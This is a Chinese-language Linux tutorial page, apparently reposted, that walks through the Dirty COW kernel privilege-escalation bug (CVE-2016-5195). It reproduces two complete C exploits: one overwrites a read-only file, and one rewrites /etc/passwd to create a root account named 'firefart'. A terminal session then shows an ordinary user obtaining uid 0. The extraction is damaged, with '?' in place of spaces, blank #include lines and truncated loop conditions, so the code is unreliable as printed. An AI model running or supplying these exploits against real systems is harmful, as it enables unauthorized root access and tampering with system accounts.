str045漏洞提權linux,Linux運維知識之CVE-2016-5195 Dirtycow: Linux內核提權漏洞

本文主要向大家介Linux運維知識之CVE-2016-5195 Dirtycow: Linux內核提權漏洞紹了,通過具體的內容向大家展現,希望對大家學習Linux運維知識有所幫助。

CVE-2016-5195?Dirtycow:?Linux內核提權漏洞

以下都是github上找的源碼,然后在ubuntu-12.04.5-desktop-i386上實驗成功

首先運行下面的確定漏洞:

/*

#######################?dirtyc0w.c?#######################

$?sudo?-s

#?echo?this?is?not?a?test?>?foo

#?chmod?0404?foo

$?ls?-lah?foo

-r-----r--?1?root?root?19?Oct?20?15:23?foo

$?cat?foo

this?is?not?a?test

$?gcc?-pthread?dirtyc0w.c?-o?dirtyc0w

$?./dirtyc0w?foo?m00000000000000000

mmap?56123000

madvise?0

procselfmem?1800000000

$?cat?foo

m00000000000000000

正確輸出最后值說明漏洞存在(以上有兩條是root權限運行的命令)

#######################?dirtyc0w.c?#######################

*/

#include

#include

#include

#include

#include

#include

#include

#include

void?*map;

int?f;

struct?stat?st;

char?*name;

void?*madviseThread(void?*arg)

{

char?*str;

str=(char*)arg;

int?i,c=0;

for(i=0;i<100000000;i++)

{

/*

You?have?to?race?madvise(MADV_DONTNEED)?::?https://access.redhat.com/security/vulnerabilities/2706661

>?This?is?achieved?by?racing?the?madvise(MADV_DONTNEED)?system?call

>?while?having?the?page?of?the?executable?mmapped?in?memory.

*/

c+=madvise(map,100,MADV_DONTNEED);

}

printf("madvise?%d\n\n",c);

}

void?*procselfmemThread(void?*arg)

{

char?*str;

str=(char*)arg;

/*

You?have?to?write?to?/proc/self/mem?::?https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

>??The?in?the?wild?exploit?we?are?aware?of?doesn‘t?work?on?Red?Hat

>??Enterprise?Linux?5?and?6?out?of?the?box?because?on?one?side?of

>??the?race?it?writes?to?/proc/self/mem,?but?/proc/self/mem?is?not

>??writable?on?Red?Hat?Enterprise?Linux?5?and?6.

*/

int?f=open("/proc/self/mem",O_RDWR);

int?i,c=0;

for(i=0;i<100000000;i++)?{

/*

You?have?to?reset?the?file?pointer?to?the?memory?position.

*/

lseek(f,(uintptr_t)?map,SEEK_SET);

c+=write(f,str,strlen(str));

}

printf("procselfmem?%d\n\n",?c);

}

int?main(int?argc,char?*argv[])

{

/*

You?have?to?pass?two?arguments.?File?and?Contents.

*/

if?(argc<3)?{

(void)fprintf(stderr,?"%s\n",

"usage:?dirtyc0w?target_file?new_content");

return?1;?}

pthread_t?pth1,pth2;

/*

You?have?to?open?the?file?in?read?only?mode.

*/

f=open(argv[1],O_RDONLY);

fstat(f,&st);

name=argv[1];

/*

You?have?to?use?MAP_PRIVATE?for?copy-on-write?mapping.

>?Create?a?private?copy-on-write?mapping.??Updates?to?the

>?mapping?are?not?visible?to?other?processes?mapping?the?same

>?file,?and?are?not?carried?through?to?the?underlying?file.??It

>?is?unspecified?whether?changes?made?to?the?file?after?the

>?mmap()?call?are?visible?in?the?mapped?region.

*/

/*

You?have?to?open?with?PROT_READ.

*/

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("mmap?%zx\n\n",(uintptr_t)?map);

/*

You?have?to?do?it?on?two?threads.

*/

pthread_create(&pth1,NULL,madviseThread,argv[1]);

pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

/*

You?have?to?wait?for?the?threads?to?finish.

*/

pthread_join(pth1,NULL);

pthread_join(pth2,NULL);

return?0;

}

漏洞利用源碼:

//

//?This?exploit?uses?the?pokemon?exploit?of?the?dirtycow?vulnerability

//?as?a?base?and?automatically?generates?a?new?passwd?line.

//?The?user?will?be?prompted?for?the?new?password?when?the?binary?is?run.

//?The?original?/etc/passwd?file?is?then?backed?up?to?/tmp/passwd.bak

//?and?overwrites?the?root?account?with?the?generated?line.

//?After?running?the?exploit?you?should?be?able?to?login?with?the?newly

//?created?user.

//

//?To?use?this?exploit?modify?the?user?values?according?to?your?needs.

//???The?default?is?"firefart".

//

//?Original?exploit?(dirtycow‘s?ptrace_pokedata?"pokemon"?method):

//???https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

//

//?Compile?with:

//???gcc?-pthread?dirty.c?-o?dirty?-lcrypt

//

//?Then?run?the?newly?create?binary?by?either?doing:

//???"./dirty"?or?"./dirty?my-new-password"

//

//?Afterwards,?you?can?either?"su?firefart"?or?"ssh?firefart@..."

//

//?DON‘T?FORGET?TO?RESTORE?YOUR?/etc/passwd?AFTER?RUNNING?THE?EXPLOIT!

//???mv?/tmp/passwd.bak?/etc/passwd

//

//?Exploit?adopted?by?Christian?"FireFart"?Mehlmauer

//?https://firefart.at

//

//?$?gcc?-pthread?dirty.c?-o?dirty?-lcrypt

//?$?./dirty?test(test為密碼)

//?$?su?firefart(在輸入test密碼即可)

//?普通用戶運行上述命令后,firefart用戶變為root,原始root不存在

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

const?char?*filename?=?"/etc/passwd";

const?char?*backup_filename?=?"/tmp/passwd.bak";

const?char?*salt?=?"firefart";

int?f;

void?*map;

pid_t?pid;

pthread_t?pth;

struct?stat?st;

struct?Userinfo?{

char?*username;

char?*hash;

int?user_id;

int?group_id;

char?*info;

char?*home_dir;

char?*shell;

};

char?*generate_password_hash(char?*plaintext_pw)?{

return?crypt(plaintext_pw,?salt);

}

char?*generate_passwd_line(struct?Userinfo?u)?{

const?char?*format?=?"%s:%s:%d:%d:%s:%s:%s\n";

int?size?=?snprintf(NULL,?0,?format,?u.username,?u.hash,

u.user_id,?u.group_id,?u.info,?u.home_dir,?u.shell);

char?*ret?=?malloc(size?+?1);

sprintf(ret,?format,?u.username,?u.hash,?u.user_id,

u.group_id,?u.info,?u.home_dir,?u.shell);

return?ret;

}

void?*madviseThread(void?*arg)?{

int?i,?c?=?0;

for(i?=?0;?i?

c?+=?madvise(map,?100,?MADV_DONTNEED);

}

printf("madvise?%d\n\n",?c);

}

int?copy_file(const?char?*from,?const?char?*to)?{

//?check?if?target?file?already?exists

if(access(to,?F_OK)?!=?-1)?{

printf("File?%s?already?exists!?Please?delete?it?and?run?again\n",

to);

return?-1;

}

char?ch;

FILE?*source,?*target;

source?=?fopen(from,?"r");

if(source?==?NULL)?{

return?-1;

}

target?=?fopen(to,?"w");

if(target?==?NULL)?{

fclose(source);

return?-1;

}

while((ch?=?fgetc(source))?!=?EOF)?{

fputc(ch,?target);

}

printf("%s?successfully?backed?up?to?%s\n",

from,?to);

fclose(source);

fclose(target);

return?0;

}

int?main(int?argc,?char?*argv[])

{

//?backup?file

int?ret?=?copy_file(filename,?backup_filename);

if?(ret?!=?0)?{

exit(ret);

}

struct?Userinfo?user;

//?set?values,?change?as?needed

user.username?=?"firefart";

user.user_id?=?0;

user.group_id?=?0;

user.info?=?"pwned";

user.home_dir?=?"/root";

user.shell?=?"/bin/bash";

char?*plaintext_pw;

if?(argc?>=?2)?{

plaintext_pw?=?argv[1];

printf("Please?enter?the?new?password:?%s\n",?plaintext_pw);

}?else?{

plaintext_pw?=?getpass("Please?enter?the?new?password:?");

}

user.hash?=?generate_password_hash(plaintext_pw);

char?*complete_passwd_line?=?generate_passwd_line(user);

printf("Complete?line:\n%s\n",?complete_passwd_line);

f?=?open(filename,?O_RDONLY);

fstat(f,?&st);

map?=?mmap(NULL,

st.st_size?+?sizeof(long),

PROT_READ,

MAP_PRIVATE,

f,

0);

printf("mmap:?%lx\n",(unsigned?long)map);

pid?=?fork();

if(pid)?{

waitpid(pid,?NULL,?0);

int?u,?i,?o,?c?=?0;

int?l=strlen(complete_passwd_line);

for(i?=?0;?i?

for(o?=?0;?o?

for(u?=?0;?u?

c?+=?ptrace(PTRACE_POKETEXT,

pid,

map?+?o,

*((long*)(complete_passwd_line?+?o)));

}

}

}

printf("ptrace?%d\n",c);

}

else?{

pthread_create(&pth,

NULL,

madviseThread,

NULL);

ptrace(PTRACE_TRACEME);

kill(getpid(),?SIGSTOP);

pthread_join(pth,NULL);

}

printf("Done!?Check?%s?to?see?if?the?new?user?was?created.\n",?filename);

printf("You?can?log?in?with?the?username?‘%s‘?and?the?password?‘%s‘.\n\n",

user.username,?plaintext_pw);

printf("\nDON‘T?FORGET?TO?RESTORE!?$?mv?%s?%s\n",

backup_filename,?filename);

return?0;

}

運行結果:

1、漏洞存在與否:jin@jin:/home/poc/dirty$?ls

dirty.c??dirtyc0w.c

jin@jin:/home/poc/dirty$?sudo?-s

[sudo]?password?for?jin:

root@jin:/home/poc/dirty#?echo?this?is?not?a?test?>?foo

root@jin:/home/poc/dirty#?chmod?0404?foo

root@jin:/home/poc/dirty#?gcc?-pthread?dirtyc0w.c?-o?dirtyc0w

root@jin:/home/poc/dirty#?./dirtyc0w?foo?m00000000000000000

mmap?b7741000

madvise?0

procselfmem?1800000000

root@jin:/home/poc/dirty#?cat?foom00000000000000000

2、漏洞利用:root@jin:/home/poc/dirty#?su?jin

jin@jin:/home/poc/dirty$?gcc?-pthread?dirty.c?-o?dirty?-lcrypt

jin@jin:/home/poc/dirty$?./dirty?test

/etc/passwd?successfully?backed?up?to?/tmp/passwd.bak

Please?enter?the?new?password:?test

Complete?line:

firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash

mmap:?b77b8000

madvise?0

ptrace?0

Done!?Check?/etc/passwd?to?see?if?the?new?user?was?created.

You?can?log?in?with?the?username?‘firefart‘?and?the?password?‘test‘.

DON‘T?FORGET?TO?RESTORE!?$?mv?/tmp/passwd.bak?/etc/passwd

Done!?Check?/etc/passwd?to?see?if?the?new?user?was?created.

You?can?log?in?with?the?username?‘firefart‘?and?the?password?‘test‘.

DON‘T?FORGET?TO?RESTORE!?$?mv?/tmp/passwd.bak?/etc/passwd

jin@jin:/home/poc/dirty$?su

Password:

su:?Authentication?failure

jin@jin:/home/poc/dirty$?sudo?su

sudo:?unknown?user:?root

sudo:?unable?to?initialize?policy?plugin

jin@jin:/home/poc/dirty$?su?firefart

Password:

firefart@jin:/home/poc/dirty#?id

uid=0(firefart)?gid=0(root)?groups=0(root)

本文由職坐標整理并發布,希望對同學們有所幫助。了解更多詳情請關注系統運維Linux頻道!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/259418.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/259418.shtml
英文地址,請注明出處:http://en.pswp.cn/news/259418.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

編程如寫作

昨晚似乎是個適合寫作的夜&#xff0c;不論是自己還是朋友&#xff0c;都比平常更容易被觸動。看著微博上朋友們的心路&#xff0c;想寫點什么卻似乎找不出非常值得大書特書的主題&#xff0c;只是歪坐在電腦旁&#xff0c;喝著咖啡&#xff0c;單曲循環著倉木麻衣的《time aft…

C++中cin、cin.get()、cin.getline()、getline()等函數的用法

轉載&#xff1a;http://www.cnblogs.com/flatfoosie/archive/2010/12/22/1914055.html c輸入流函數主要以下幾個&#xff1a; 1、cin 2、cin.get() 3、cin.getline() 4、getline() 附:cin.ignore();cin.get()//跳過一個字符,例如不想要的回車,空格等字符 1、cin>>…

工作環境總結(1)開發環境搭建

1、安裝git 安裝文件&#xff1a;Git-2.12.0-64-bit.exe 下載地址&#xff1a;https://github.com/git-for-windows/git/releases/download/v2.12.0.windows.1/Git-2.12.0-64-bit.exe 在git bash中配置&#xff0c;git bash命令行中執行&#xff08;只有使用到egit時使用&…

c語言煙花百度云,C語言實現放煙花的程序

這是一個利用C語言編寫放煙花的程序(同時也可以播放音樂)&#xff0c;供大家參考&#xff0c;具體內容如下代碼如下#pragma once#include#include //圖形界面庫頭文件#include //計算圓形的軌跡坐標#include#include#include#include#pragma comment(lib,"winmm.lib"…

決定人生的七條公式

1 .積跬步以致千里&#xff0c;積怠惰以致深淵 1.01^365 37.80.99^365 0.032.拖延癥 U EV/ID U完成任務的程度 E對成功的信心 V 對任務的愉悅度 I 你的分心程度 D你多久會獲得回報3.三天打魚兩天曬網&#xff0c;終將一無所獲 1.01^3 x 0.99^2 < 1.01 4.愛因斯坦的成…

strncpy與strcpy的區別與注意事項

strncpy 是 C語言的庫函數之一&#xff0c;來自 C語言標準庫&#xff0c;定義于 string.h&#xff0c;char *strncpy(char *dest, char *src, int n)&#xff0c;把src所指字符串的前n個字節復制到dest所指的數組中&#xff0c;并返回指向dest的指針。 strcpy只是復制字符串&am…

使用ssh公鑰實現免密碼登錄

ssh 無密碼登錄要使用公鑰與私鑰。linux下可以用用ssh-keygen生成公鑰/私鑰對&#xff0c;下面我以CentOS為例。 有機器A(192.168.1.155)&#xff0c;B(192.168.1.181)。現想A通過ssh免密碼登錄到B。 首先以root賬戶登陸為例。 1.在A機下生成公鑰/私鑰對。 [rootA ~]# ssh-keyg…

15款的視頻處理軟件免費下載

因為需要購買昂貴的視頻處理軟件和高性能圖形計算機&#xff0c;所以視頻處理是一項比較耗費金錢的技術活。正是由于這樣&#xff0c;一部分人選擇使用性能較好的免費在線編輯軟件&#xff0c;無需太多視頻處理知識便可在瀏覽器中剪切和編輯視頻。然而&#xff0c;當我們無法連…

液位系統c語言程序,超聲波自動測量物體液位系統的設計

超聲波自動測量物體液位系統的設計(任務書,畢業論文15000字)摘要本系統以STC89C52單片機為核心&#xff0c;通過硬件電路連接和軟件程序的編寫實現通用型超聲波自動測量物體液位系統的設計。其主要原理是由單片機控制超聲波發射電路發射超聲波&#xff0c;超聲波接收電路接收遇…

android-sdk-windows版本號下載

Android SDK 4.0.3 開發環境配置及執行 近期又裝了一次最新版本號的ADK環境 眼下最新版是Android SDK 4.0.3 本文的插圖和文本盡管是Android2.2的 步驟都是一樣的&#xff0c;假設安裝的過程中遇到什么問題&#xff0c;能夠留言&#xff0c;我會盡快回復&#xff01; 系統環境的…

string中c_str()、data()、copy(p,n)函數的用法

轉載&#xff1a;http://www.cnblogs.com/qlwy/archive/2012/03/25/2416937.html 標準庫的string類提供了3個成員函數來從一個string得到c類型的字符數組&#xff1a;c_str()、data()、copy(p,n)。 1. c_str()&#xff1a;生成一個const char*指針&#xff0c;指向以空字符終止…

POJ2402 Palindrome Numbers 回文數

題目鏈接: http://poj.org/problem?id2402 題目大意就是讓你找到第n個回文數是什么. 第一個思路當然是一個一個地構造回文數直到找到第n個回文數為止(也許大部分人一開始都是這樣的思路). 很明顯找到第n個之前的所有操作都是浪費, 這也是這個方法的最大弱點. 抱著僥幸心理(誰知…

離散卷積的c語言編程實驗,數字信號處理實驗一離散卷積c語言編程.ppt

數字信號處理實驗一離散卷積c語言編程實驗一 離散卷積的C語言編程實驗 DSP實驗室 2005 實驗性質 綜合設計性實驗 實驗目的 1 了解和認識常用的各種信號&#xff1b; 2 掌握卷積的定義和計算方法&#xff1b; 3 掌握在計算機中生成以及繪制信號序列圖的方法。 實驗原理 離散時間…

async-await原理解析

在用async包裹的方法體中&#xff0c;可以使用await關鍵字以同步的方式編寫異步調用的代碼。那么它的內部實現原理是什么樣的呢&#xff1f;我們是否可以自定義await以實現定制性的需求呢&#xff1f;先來看一個簡單的例子&#xff1a; 1 class Test {2 public sta…

emacs-w3m查看html幫助手冊

<?xml version"1.0" encoding"utf-8"?> emacs-w3m查看html幫助手冊emacs-w3m查看html幫助手冊 Table of Contents 1. 使用效果2. 為什么要用emacs-w3m來查看html的幫助手冊&#xff1f;3. 什么是w3m?4. 配置5. 額外資源1 使用效果 使用快捷鍵C-c …

c語言生命游戲代碼大全,c++生命游戲源碼

該樓層疑似違規已被系統折疊 隱藏此樓查看此樓glViewport( 0, 0, width, height );glMatrixMode( GL_PROJECTION );glLoadIdentity( );}//程序入口int main(int argc, char *argv[]){//隨機生成細胞的狀態MapRand();std::cout<//SDL初始化const SDL_VideoInfo* info NULL;i…

初學React,setState后獲取到的thisstate沒變,還是初始state?

問題&#xff1a;(javascript)初學React&#xff0c;setState后獲取到的thisstate沒變&#xff0c;還是初始state&#xff1f;描述: getInitialState(){return {data:[]};},componentDidMount(){var data [ { author: "Pete Hunt", text: "This is one comment…

sizeof(數組名)和sizeof(指針)

轉載&#xff1a;http://blog.csdn.net/kangroger/article/details/20653255 在做這道題時&#xff1a; 32位環境下&#xff0c;int *pnew int[10];請問sizeof(p)的值為&#xff08;&#xff09; A、4 B、10 C、40 D、8 我以為正確答…

工作中的問題

今天寫一專題頁面&#xff0c;寫出的結果在各個瀏覽器下都不同&#xff0c;心情不好。。。 就是紅線的地方老對不齊。。。 在朋友指導下改了下樣式好了 右邊代碼結構 1 <div class"fr Img"> 2 <h3>相關專題</h3> 3 <a href"#"…

數組的sizeof

轉載&#xff1a;http://blog.163.com/chen_xinghuan/blog/static/17220158220112182838196/ 數組的sizeof值等于數組所占用的內存字節數&#xff0c;如&#xff1a;   char a1[] “abc”;   int a2[3];   sizeof( a1 ); // 結果為4&#xff0c;字符 末尾還存在一個…